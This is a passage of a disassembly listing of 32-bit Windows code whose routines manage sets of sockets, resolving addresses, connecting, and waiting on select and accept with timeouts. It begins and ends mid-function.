		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------

loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------

loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------

loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------

loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------

loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32

loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------

loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax

loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6

loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------

loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------

loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------

loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------

loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11

loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------

loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax

loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------

loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax

loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------

loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------

loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0

loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------

loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax

loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67

loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------

loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------

loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------

loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------

loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------

loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------

loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh

loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------

loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DE38, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------

loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------

loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------

loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------

loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------

loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx

loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------

loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax

loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------

loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------

loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE

loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------

loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------

loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------

loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax

loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------

loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------

loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0

loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------

loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------

loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------

loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------

loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------

loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------

loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------

loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0

loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------

loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------

loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------

loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------

loc_4050D2:				; CODE XREF: sub_404FE7+CEj
